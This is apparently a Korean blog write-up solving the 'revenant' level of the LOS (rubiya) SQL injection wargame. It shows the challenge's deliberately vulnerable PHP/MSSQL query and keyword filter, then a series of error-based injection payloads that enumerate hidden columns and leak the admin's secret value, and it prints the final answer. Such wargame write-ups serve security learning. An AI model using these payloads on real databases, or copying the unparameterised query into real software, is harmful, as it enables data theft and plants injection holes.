<코드 분석>
<?php
include "./config.php";
login_chk();
$db = mssql_connect();
if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select * from prob_revenant where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
sqlsrv_query($db,$query);
if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));
$query = "select * from prob_revenant where id='admin'";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['4'] === $_GET['pw']) solve("revenant"); // you have to pwn 5th column
highlight_file(__FILE__);
?>
이전 문제랑 동일하게 mssql 을 이용해서 문제를 푼다.
필터링 항목부터 체크해보면, master sys information prob ; waitfor _를 필터링한다.
id 가 admin인 항목의 인덱스 4의 값을 알아내면 문제가 풀린다.
<해설>
error 값을 보여주기 때문에 error based sql injection 일 것 같은데
이전 문제랑 동일하게
?id=a' having 1=1 --
을 넣어주게 되면 ,
Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Column 'prob_revenant.id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
다음과같은 에러를 띄워준다.
?id=admin' or pw=1 --
guest 라는 값을 알려준다.
에러를 여러 개 띄우거나, 원하는 index의 에러를 띄우고 싶은데,
테이블 이름부터 알아보자
?id=' having 1=1 --
prob_revenant.id
-> 이건 prob 가 들어가 있으니까 써먹지는 못할거같다.
?id=' group by id having 1=1 --
-> pw 라는 컬럼 값이 나왔다.
여기서 감을 잡았다.
group by 를 해주면 다음 column이 에러가 나서 노출되게 된다.
?id=' group by id,pw having 1=1 --
->45a88487라는 컬럼 값이 나오고,
?id=' group by id,pw,45a88487 having 1=1 --
-> 아예 오류가 나오네, syntax 오류라고 한다.
SQL 컬럼 생성 규칙중에 "문자"로 시작해야 한다는 조건이 있다.
그렇다면 앞부분에 누락이 생겼을 수도 있을 거같은데,,,
구글링해 보니,
숫자 이름의 컬럼은 ""를 사용해야한다고 한다.
?id=' group by id,pw,"45a88487" having 1=1 --
그다음으로 나온 컬럼 값은 13477a35이다.
근데 이건 인덱스가 5다. 주석에는 5번째 칼럼을 따라고 했는데,,,,
코드를 보면 4번째 인덱스를 물어보네,,,
코드가 맞는거니까 코드대로 해보자.
한번 더해보면.
9604b0c8 나온다.
?id=' group by id,pw,"45a88487","9604b0c8" having 1=1 --
9604b0c8가 답인줄 알았다.
우리가 구한것은 칼럼이름이지, 값이 아니다.
즉 값을 구해보자.
?id=admin' and "9604b0c8"=1 --
이렇게 해서 data type 에 에러를 만들어주면 된다.
f7106bc652b5ba39c294be2d0097a9c1
라는 값이 나왔다.
Clear!
'WriteUp > LOS_rubiya' 카테고리의 다른 글
LOS -rubiya : Mummy (0) | 2020.05.18 |
---|---|
LOS -rubiya : Nessie (0) | 2020.05.15 |
LOS -rubiya : Yeti (0) | 2020.05.14 |
LOS -rubiya : Skeleton (0) | 2020.05.13 |
LOS -rubiya : Vampire (0) | 2020.05.13 |